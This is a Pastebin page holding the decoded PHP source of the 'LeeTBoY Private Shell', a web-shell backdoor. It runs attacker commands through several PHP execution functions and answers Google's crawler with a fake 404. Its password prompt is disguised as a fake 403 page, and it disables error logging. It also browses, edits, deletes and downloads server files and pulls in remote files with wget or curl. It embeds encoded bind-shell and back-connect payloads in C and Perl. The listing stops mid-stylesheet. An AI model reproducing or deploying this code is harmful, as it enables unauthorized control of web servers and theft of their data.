API tools faq
paste
1337_Brain

LeeTBoY Private Shell Decoded :D

1337_Brain
Jun 25th, 2014
614
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 121.23 KB | None | 0 0
raw download clone embed print report
  1. /* Decoded by NZNBD */
  2.  
  3.  
  4. /*********************************************************************************************************/
  5. $auth_pass = "f561aaf6ef0bf14d4208bb46a4ccb3ad"; //password if fuck
  6. /*********************************************************************************************************/
  7. $color = "#00ff00";
  8. $default_action = 'FilesMan';
  9. @define('SELF_PATH', __FILE__);
  10.  
  11. /*********************************************************************************************************/
  12. # Avoid google's crawler
  13. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { header('HTTP/1.0 404 Not Found'); exit; }
  14. /*********************************************************************************************************/
  15.  
  16. @session_start();
  17. @error_reporting(0);
  18. @ini_set('error_log',NULL);
  19. @ini_set('log_errors',0);
  20. @ini_set('max_execution_time',0);
  21. @set_time_limit(0);
  22. @set_magic_quotes_runtime(0);
  23. @define('VERSION', 'v.0.0.1');
  24. @define('TITLE', 'LeeTBoY Private Shell | Coded By BlacKLeeT | ');
  25.  
  26. /*********************************************************************************************************/
  27.  
  28. if( get_magic_quotes_gpc() )
  29. {
  30. function stripslashes_array($array) { return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); }
  31. $_POST = stripslashes_array($_POST);
  32. }
  33.  
  34. function logout()
  35. {
  36. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  37. $page = $host='http://'.$_SERVER['SERVER_NAME'].'/'.$_SERVER['PHP_SELF'];
  38. echo '<center><span class="b1">You are goin to log out. bye!!</scan></center>';
  39. ?>
  40. <script>window.location.href = '<?php print $page; ?>';</script>
  41. <?php
  42. exit(0);
  43. }
  44.  
  45. $disablefunc = @ini_get("disable_functions");
  46.  
  47. function showdisablefunctions() {
  48. if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:#00FF1E'>".$disablefunc."</span>"; }
  49. else { return "<span style='color:#00FF1E'>NONE</span>"; }
  50. }
  51.  
  52. function ex($cfe) {
  53. $res = '';
  54. if (!empty($cfe)) {
  55. if(function_exists('exec')) {
  56. @exec($cfe,$res);
  57. $res = join("
  58. ",$res);
  59. } elseif(function_exists('shell_exec')) {
  60. $res = @shell_exec($cfe);
  61. } elseif(function_exists('system')) {
  62. @ob_start();
  63. @system($cfe);
  64. $res = @ob_get_contents();
  65. @ob_end_clean();
  66. } elseif(function_exists('passthru')) {
  67. @ob_start();
  68. @passthru($cfe);
  69. $res = @ob_get_contents();
  70. @ob_end_clean();
  71. } elseif(@is_resource($f = @popen($cfe,"r"))) {
  72. $res = "";
  73. while(!@feof($f)) { $res .= @fread($f,1024); }
  74. @pclose($f);
  75. } else { $res = "Ex() Disabled!"; }
  76. }
  77. return $res;
  78. }
  79.  
  80.  
  81. function showstat($stat) {
  82. if ($stat=="on") { return "<font color=#00FF00><b>ON</b></font>"; }
  83. else { return "<font color=red><b>OFF</b></font>"; }
  84. }
  85. function testperl() {
  86. if (ex('perl -h')) { return showstat("on"); }
  87. else { return showstat("off"); }
  88. }
  89. function testfetch() {
  90. if(ex('fetch --help')) { return showstat("on"); }
  91. else { return showstat("off"); }
  92. }
  93. function testwget() {
  94. if (ex('wget --help')) { return showstat("on"); }
  95. else { return showstat("off"); }
  96. }
  97. function testoracle() {
  98. if (function_exists('ocilogon')) { return showstat("on"); }
  99. else { return showstat("off"); }
  100. }
  101. function testpostgresql() {
  102. if (function_exists('pg_connect')) { return showstat("on"); }
  103. else { return showstat("off"); }
  104. }
  105. function testmssql() {
  106. if (function_exists('mssql_connect')) { return showstat("on"); }
  107. else { return showstat("off"); }
  108. }
  109. function testcurl() {
  110. if (function_exists('curl_version')) { return showstat("on"); }
  111. else { return showstat("off"); }
  112. }
  113. function testmysql() {
  114. if (function_exists('mysql_connect')) { return showstat("on"); }
  115. else { return showstat("off"); }
  116. }
  117.  
  118. $quotes = get_magic_quotes_gpc();
  119. if ($quotes == "1" or $quotes == "on")
  120. {
  121. $quot = "<font color='red'>ON</font>";
  122. }
  123. else
  124. {
  125. $quot = "<font color='green'>OFF</font>";
  126. }
  127.  
  128. function printLogin()
  129. {
  130. ?>
  131. <html>
  132. <head>
  133. <style> input { margin:0;background-color:#fff;border:1px solid #fff; } </style>
  134. </head>
  135. <title>
  136. 403 Forbidden
  137. </title>
  138. <body>
  139. <h1>Forbidden</h1>
  140. <p>You don't have permission to access this file on this server <?=$_SERVER['HTTP_HOST']?>.</p>
  141. <hr>
  142. <form method=post>
  143. <address>Apache/2.2.8 at Port 80<input type=password name=x><input type=submit value=''></address>
  144. </form>
  145. </body>
  146. </html>
  147. <?php
  148. exit;
  149. }
  150.  
  151. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  152. {
  153. if( empty( $auth_pass ) || ( isset( $_POST['x'] ) && ( md5($_POST['x']) == $auth_pass ) ) )
  154. { $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; }
  155. else
  156. { printLogin(); }
  157. }
  158.  
  159. if(isset($_GET['dl']) && ($_GET['dl'] != ""))
  160. {
  161. $file = $_GET['dl'];
  162. $filez = @file_get_contents($file);
  163. header("Content-type: application/octet-stream");
  164. header("Content-length: ".strlen($filez));
  165. header("Content-disposition: attachment;
  166. filename="".basename($file)."";");
  167. echo $filez;
  168. exit;
  169. }
  170.  
  171. elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != ""))
  172. {
  173. $file = $_GET['dlgzip'];
  174. $filez = gzencode(@file_get_contents($file));
  175. header("Content-Type:application/x-gzip
  176. ");
  177. header("Content-length: ".strlen($filez));
  178. header("Content-disposition: attachment; filename="".basename($file).".gz";");
  179. echo $filez; exit;
  180. }
  181.  
  182. if(isset($_GET['img']))
  183. {
  184. @ob_clean();
  185. $d = magicboom($_GET['y']);
  186. $f = $_GET['img'];
  187. $inf = @getimagesize($d.$f);
  188. $ext = explode($f,".");
  189. $ext = $ext[count($ext)-1];
  190. @header("Content-type: ".$inf["mime"]);
  191. @header("Cache-control: public");
  192. @header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  193. @header("Cache-control: max-age=".(60*60*24*7));
  194. @readfile($d.$f);
  195. exit;
  196. }
  197. $ver = VERSION;
  198.  
  199. $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  200.  
  201. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE;
  202. else $safemode = FALSE;
  203. $system = @php_uname();
  204.  
  205. if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
  206. else $win = FALSE;
  207.  
  208. if(isset($_GET['y']))
  209. { if(@is_dir($_GET['view'])){ $pwd = $_GET['view']; @chdir($pwd); } else{ $pwd = $_GET['y']; @chdir($pwd); } }
  210.  
  211. if(!$win)
  212. { if(!$user = rapih(exe("whoami"))) $user = ""; if(!$id = rapih(exe("id"))) $id = ""; $prompt = $user." \$ "; $pwd = @getcwd().DIRECTORY_SEPARATOR; }
  213. else
  214. {
  215. $user = @get_current_user();
  216. $id = $user;
  217. $prompt = $user." &gt;";
  218. $pwd = realpath(".")."";
  219. $v = explode("",$d);
  220. $v = $v[0];
  221. foreach (range("A","Z") as $letter)
  222. {
  223. $bool = @is_dir($letter.":");
  224. if ($bool)
  225. {
  226. $letters .= "<a href="?y=".$letter.":">[ ";
  227. if ($letter.":" != $v) {$letters .= $letter;}
  228. else {$letters .= "<span class="gaya">".$letter."</span>";}
  229. $letters .= " ]</a> ";
  230. }
  231. }
  232. }
  233.  
  234. if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
  235. else $posix = FALSE;
  236.  
  237. $bytes = disk_free_space(".");
  238. $si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
  239. $base = 1024;
  240. $class = min((int)log($bytes , $base) , count($si_prefix) - 1);
  241. $totalspace_bytes = disk_total_space(".");
  242. $totalspace_si_prefixs = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
  243. $totalspace_bases = 1024;
  244. $totalspace_class = min((int)log($totalspace_bytes , $totalspace_bases) , count($totalspace_si_prefixs) - 1);
  245. $totalspace_show = sprintf('%1.2f' , $totalspace_bytes / pow($totalspace_bases,$totalspace_class)) . ' ' . $totalspace_si_prefixs[$totalspace_class] . '';
  246. $freespace_show = sprintf('%1.2f' , $bytes / pow($base,$class)) . ' ' . $si_prefix[$class] . '';
  247. $server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
  248. $my_ip = $_SERVER['REMOTE_ADDR'];
  249. $bindport = "8081";
  250. $bindport_pass = "leetboy";
  251. $pwds = explode(DIRECTORY_SEPARATOR,$pwd);
  252. $pwdurl = "";
  253. for($i = 0 ; $i < sizeof($pwds)-1 ; $i++)
  254. {
  255. $pathz = "";
  256. for($j = 0 ; $j <= $i ; $j++)
  257. {
  258. $pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
  259. }
  260. $pwdurl .= "<a href="?y=".$pathz."">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
  261. }
  262.  
  263. if(isset($_POST['rename'])){ $old = $_POST['oldname']; $new = $_POST['newname']; @rename($pwd.$old,$pwd.$new); $file = $pwd.$new; }
  264. $buff = $DISP_SERVER_SOFTWARE."<br />";
  265. $buff .= $system."<br />";
  266. if($id != "") $buff .= $id."<br />";
  267. $buff .= "Server IP : "."<span style='color:#FF8800'>$server_ip</span>"."<font> | </font>"."Your IP : "."<span style='color:#FF0000'>$my_ip</span>"."<br />";
  268. $buff .= "Total HDD Space : "."<span style='color:#00FF1E'>$totalspace_show</span>"."<font> | </font>"."Free HDD Space : "."<span style='color:#00FF1E'>$freespace_show</span>"."<br />";
  269. $buff .= "Magic Quotes:$quot"."<br>";
  270. $buff .= "Disabled Functions: ".showdisablefunctions()."<br>";
  271. $buff .= "MySQL: ".testmysql()." MSSQL: ".testmssql()." Oracle: ".testoracle()." MSSQL: ".testmssql()." PostgreSQL: ".testpostgresql()." cURL: ".testcurl()." WGet: ".testwget()." Fetch: ".testfetch()." Perl: ".testperl()."<br>";
  272. if($safemode) $buff .= "safemode <font style='color:#DD4736'>ON</font><br />";
  273. else $buff .= "safemode <font style='color:#00FF00'>OFF</font><br />";
  274.  
  275. $buff .= $letters."&nbsp;&gt;&nbsp;".$pwdurl;
  276.  
  277. function rapih($text){ return trim(str_replace("<br />","",$text)); }
  278.  
  279. function magicboom($text){ if (!get_magic_quotes_gpc()) { return $text; } return stripslashes($text); }
  280.  
  281. function showdir($pwd,$prompt)
  282. {
  283. $fname = array();
  284. $dname = array();
  285. if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
  286. else $posix = FALSE;
  287. $user = "????:????";
  288. if($dh = opendir($pwd))
  289. {
  290. while($file = readdir($dh))
  291. {
  292. if(is_dir($file))
  293. { $dname[] = $file; }
  294. elseif(is_file($file))
  295. { $fname[] = $file; }
  296. }
  297. closedir($dh);
  298. }
  299. sort($fname);
  300. sort($dname);
  301. $path = @explode(DIRECTORY_SEPARATOR,$pwd);
  302. $tree = @sizeof($path);
  303. $parent = "";
  304. $buff = "<form action="?y=".$pwd."&amp;x=shell" method="post" style="margin:8px 0 0 0;">
  305. <table class="cmdbox" style="width:50%;">
  306. <tr>
  307. <td>CMD@$prompt</td>
  308. <td><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:400px;" value="" />
  309. <input class="inputzbut" type="submit" value="Execute !" name="submitcmd" style="width:80px;" /></td>
  310. </tr>
  311. </form>
  312. <form action="?" method="get" style="margin:8px 0 0 0;">
  313. <input type="hidden" name="y" value="".$pwd."" />
  314. <tr>
  315. <td>view file/folder</td>
  316. <td><input onMouseOver="this.focus();" id="goto" class="inputz" type="text" name="view" style="width:400px;" value="".$pwd."" />
  317. <input class="inputzbut" type="submit" value="Enter !" name="submitcmd" style="width:80px;" /></td>
  318. </tr>
  319. </form>
  320. </table>
  321. <table class="explore">
  322. <tr>
  323. <th style="background:red;">Name</th>
  324. <th style="width:80px; background:red;">size</th>
  325. <th style="width:210px;background:red;">owner:group</th>
  326. <th style="width:80px;background:red;">perms</th>
  327. <th style="width:110px;background:red;">modified</th>
  328. <th style="width:190px;background:red;">actions</th>
  329. </tr> ";
  330.  
  331. if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
  332. else $parent = $pwd;
  333. foreach($dname as $folder)
  334. {
  335. if($folder == ".")
  336. {
  337. if(!$win && $posix)
  338. {
  339. $name=@posix_getpwuid(@fileowner($folder));
  340. $group=@posix_getgrgid(@filegroup($folder));
  341. $owner = $name['name']."<span class="gaya"> : </span>".$group['name'];
  342. }
  343. else { $owner = $user; }
  344. $buff .= "<tr>
  345. <td><a href="?y=".$pwd."">$folder</a></td>
  346. <td>-</td>
  347. <td style="text-align:center;">".$owner."</td>
  348. <td>".get_perms($pwd)."</td>
  349. <td style="text-align:center;">".date("d-M-Y H:i",@filemtime($pwd))."</td>
  350. <td><span id="titik1">
  351. <a href="?y=$pwd&amp;edit=".$pwd."newfile.php">newfile</a>
  352. | <a href="javascript:tukar('titik1','titik1_form');">newfolder</a>
  353. </span>
  354. <form action="?" method="get" id="titik1_form" class="sembunyi" style="margin:0;padding:0;">
  355. <input type="hidden" name="y" value="".$pwd."" />
  356. <input class="inputz" style="width:140px;" type="text" name="mkdir" value="a_new_folder" />
  357. <input class="inputzbut" type="submit" name="rename" style="width:35px;" value="Go" />
  358. </form>
  359. </td>
  360. </tr> ";
  361. }
  362. elseif($folder == "..")
  363. {
  364. if(!$win && $posix)
  365. {
  366. $name=@posix_getpwuid(@fileowner($folder));
  367. $group=@posix_getgrgid(@filegroup($folder));
  368. $owner = $name['name']."<span class="gaya"> : </span>".$group['name'];
  369. }
  370. else { $owner = $user; }
  371. $buff .= "<tr>
  372. <td><a href="?y=".$parent."">$folder</a></td>
  373. <td>-</td>
  374. <td style="text-align:center;">".$owner."</td>
  375. <td>".get_perms($parent)."</td>
  376. <td style="text-align:center;">".date("d-M-Y H:i",@filemtime($parent))."</td>
  377. <td><span id="titik2">
  378. <a href="?y=$pwd&amp;edit=".$parent."newfile.php">newfile</a>
  379. | <a href="javascript:tukar('titik2','titik2_form');">newfolder</a>
  380. </span>
  381. <form action="?" method="get" id="titik2_form" class="sembunyi" style="margin:0;padding:0;">
  382. <input type="hidden" name="y" value="".$pwd."" />
  383. <input class="inputz" style="width:140px;" type="text" name="mkdir" value="a_new_folder" />
  384. <input class="inputzbut" type="submit" name="rename" style="width:35px;" value="Go" />
  385. </form>
  386. </td>
  387. </tr>";
  388. }
  389. else
  390. {
  391. if(!$win && $posix)
  392. {
  393. $name=@posix_getpwuid(@fileowner($folder));
  394. $group=@posix_getgrgid(@filegroup($folder));
  395. $owner = $name['name']."<span class="gaya"> : </span>".$group['name'];
  396. }
  397. else { $owner = $user; }
  398. $buff .= "<tr><td><a id="".clearspace($folder)."_link" href="?y=".$pwd.$folder.DIRECTORY_SEPARATOR.""><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' /> [ $folder ]</a>
  399. <form action="?y=$pwd" method="post" id="".clearspace($folder)."_form" class="sembunyi" style="margin:0;padding:0;">
  400. <input type="hidden" name="oldname" value="".$folder."" style="margin:0;padding:0;" />
  401. <input class="inputz" style="width:200px;" type="text" name="newname" value="".$folder."" />
  402. <input class="inputzbut" type="submit" name="rename" value="rename" />
  403. <input class="inputzbut" type="submit" name="cancel" value="cancel" onclick="tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');" />
  404. </form> </td><td>DIR</td><td style="text-align:center;">".$owner."</td><td><center>
  405. <a href="javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');">".get_perms($pwd.$folder)."</a>
  406. <form action="?y=$pwd" method="post" id="".clearspace($folder)."_form3" class="sembunyi" style="margin:0;padding:0;">
  407. <input type="hidden" name="name" value="".$folder."" style="margin:0;padding:0;" />
  408. <input class="inputz" style="width:200px;" type="text" name="newvalue" value="".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."" />
  409. <input class="inputzbut" type="submit" name="chmod_folder" value="chmod" />
  410. <input class="inputzbut" type="submit" name="cancel" value="cancel"
  411. onclick="tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');" /></form></center></td><td style="text-align:center;">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href="javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');">rename</a>| <a href="?y=$pwd&amp;fdelete=".$pwd.$folder."">delete</a>
  412. </td>
  413. </tr>";}}
  414. foreach($fname as $file)
  415. {
  416. $full = $pwd.$file;
  417. if(!$win && $posix)
  418. {
  419. $name=@posix_getpwuid(@fileowner($file));
  420. $group=@posix_getgrgid(@filegroup($file));
  421. $owner = $name['name']."<span class="gaya"> : </span>".$group['name'];
  422. }
  423. else { $owner = $user; }
  424. $buff .= "<tr><td><a id="".clearspace($file)."_link" href="?y=$pwd&amp;view=$full"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</a>
  425. <form action="?y=$pwd" method="post" id="".clearspace($file)."_form" class="sembunyi" style="margin:0;padding:0;">
  426. <input type="hidden" name="oldname" value="".$file."" style="margin:0;padding:0;" />
  427. <input class="inputz" style="width:200px;" type="text" name="newname" value="".$file."" />
  428. <input class="inputzbut" type="submit" name="rename" value="rename" />
  429. <input class="inputzbut" type="submit" name="cancel" value="cancel" onclick="tukar('".clearspace($file)."_link','".clearspace($file)."_form');" />
  430. </form></td><td>".ukuran($full)."</td><td style="text-align:center;">".$owner."</td><td><center>
  431. <a href="javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');">".get_perms($full)."</a>
  432. <form action="?y=$pwd" method="post" id="".clearspace($file)."_form2" class="sembunyi" style="margin:0;padding:0;">
  433. <input type="hidden" name="name" value="".$file."" style="margin:0;padding:0;" />
  434. <input class="inputz" style="width:200px;" type="text" name="newvalue" value="".substr(sprintf('%o', fileperms($full)), -4)."" />
  435. <input class="inputzbut" type="submit" name="chmod" value="chmod" />
  436. <input class="inputzbut" type="submit" name="cancel" value="cancel" onclick="tukar('".clearspace($file)."_link','".clearspace($file)."_form2');" /></form></center></td>
  437. <td style="text-align:center;">".date("d-M-Y H:i",@filemtime($full))."</td>
  438. <td><a href="?y=$pwd&amp;edit=$full">edit</a> | <a href="javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');">rename</a>| <a href="?y=$pwd&amp;delete=$full">delete</a> | <a href="?y=$pwd&amp;dl=$full">download</a>&nbsp;(<a href="?y=$pwd&amp;dlgzip=$full">gz</a>)
  439. </td></tr>";}
  440. $buff .= "</table>"; return $buff;}
  441. function ukuran($file)
  442. {
  443. if($size = @filesize($file))
  444. {
  445. if($size <= 1024) return $size;
  446. else
  447. {
  448. if($size <= 1024*1024)
  449. { $size = @round($size / 1024,2);; return "$size kb"; }
  450. else { $size = @round($size / 1024 / 1024,2); return "$size mb"; }
  451. }
  452. }
  453. else return "???";
  454. }
  455.  
  456. function exe($cmd)
  457. {
  458. if(function_exists('system'))
  459. {
  460. @ob_start();
  461. @system($cmd);
  462. $buff = @ob_get_contents();
  463. @ob_end_clean();
  464. return $buff;
  465. }
  466. elseif(function_exists('exec'))
  467. {
  468. @exec($cmd,$results);
  469. $buff = "";
  470. foreach($results as $result)
  471. { $buff .= $result; }
  472. return $buff;
  473. }
  474. elseif(function_exists('passthru'))
  475. {
  476. @ob_start();
  477. @passthru($cmd);
  478. $buff = @ob_get_contents();
  479. @ob_end_clean();
  480. return $buff;
  481. }
  482. elseif(function_exists('shell_exec'))
  483. {
  484. $buff = @shell_exec($cmd);
  485. return $buff;
  486. }
  487. }
  488.  
  489. function tulis($file,$text)
  490. {
  491. $textz = gzinflate(base64_decode($text));
  492. if($filez = @fopen($file,"w"))
  493. {
  494. @fputs($filez,$textz);
  495. @fclose($file);
  496. }
  497. }
  498.  
  499. function ambil($link,$file)
  500. {
  501. if($fp = @fopen($link,"r"))
  502. {
  503. while(!feof($fp))
  504. {
  505. $cont.= @fread($fp,1024);
  506. }
  507. @fclose($fp);
  508. $fp2 = @fopen($file,"w");
  509. @fwrite($fp2,$cont);
  510. @fclose($fp2);
  511. }
  512. }
  513.  
  514. function which($pr)
  515. {
  516. $path = exe("which $pr");
  517. if(!empty($path))
  518. { return trim($path); }
  519. else { return trim($pr); }
  520. }
  521.  
  522. function download($cmd,$url)
  523. {
  524. $namafile = basename($url);
  525. switch($cmd)
  526. {
  527. case 'wwget': exe(which('wget')." ".$url." -O ".$namafile); break;
  528. case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile); break;
  529. case 'wfread' : ambil($wurl,$namafile);break;
  530. case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
  531. case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
  532. case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
  533. case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
  534. default: break; }
  535. return $namafile;
  536. }
  537.  
  538. function get_perms($file)
  539. {
  540. if($mode=@fileperms($file))
  541. {
  542. $perms='';
  543. $perms .= ($mode & 00400) ? 'r' : '-';
  544. $perms .= ($mode & 00200) ? 'w' : '-';
  545. $perms .= ($mode & 00100) ? 'x' : '-';
  546. $perms .= ($mode & 00040) ? 'r' : '-';
  547. $perms .= ($mode & 00020) ? 'w' : '-';
  548. $perms .= ($mode & 00010) ? 'x' : '-';
  549. $perms .= ($mode & 00004) ? 'r' : '-';
  550. $perms .= ($mode & 00002) ? 'w' : '-';
  551. $perms .= ($mode & 00001) ? 'x' : '-';
  552. return $perms;
  553. }
  554. else return "??????????";
  555. }
  556.  
  557. function clearspace($text){ return str_replace(" ","_",$text); }
  558.  
  559. $port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
  560. $port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
  561.  
  562. $back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw=="; $back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
  563. ?>
  564.  
  565. <html>
  566. <head>
  567. <link rel="shortcut icon" href="http://leetboy.com/favicon.ico" type="image/x-icon" />
  568. <title><?php print TITLE; ?> <?php echo VERSION; ?></title>
  569. <script type="text/javascript">
  570.  
  571. function tukar(lama,baru)
  572. {
  573. document.getElementById(lama).style.display = 'none';
  574. document.getElementById(baru).style.display = 'block';
  575. }
  576.  
  577. </script>
  578. <style type="text/css">
  579. AKUSTYLE { display:none; }
  580. body { background:url(http://4.bp.blogspot.com/-1REJy4I2rec/UaM0Ol7i6YI/AAAAAAAAAJE/mdN81-wqxzA/s1600/little+background+wallpaper.png);}
  581. A:link {COLOR: #2BA8EC; TEXT-DECORATION: none; size:none; }
  582. A:visited {COLOR: #2BA8EC; TEXT-DECORATION: none; size:none; }
  583. A:hover {text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan; color: #ff9900; TEXT-DECORATION: none; size:none; }
  584. A:active {color: Red; TEXT-DECORATION: none; size:none; }
  585. textarea {; BACKGROUND-COLOR: transparent; font: Fixedsys bold; color: green; border:1px solid #4C83AF;}
  586. * { font-size:11px; font-family:Tahoma,Verdana,Arial; color:#FFFFFF; }
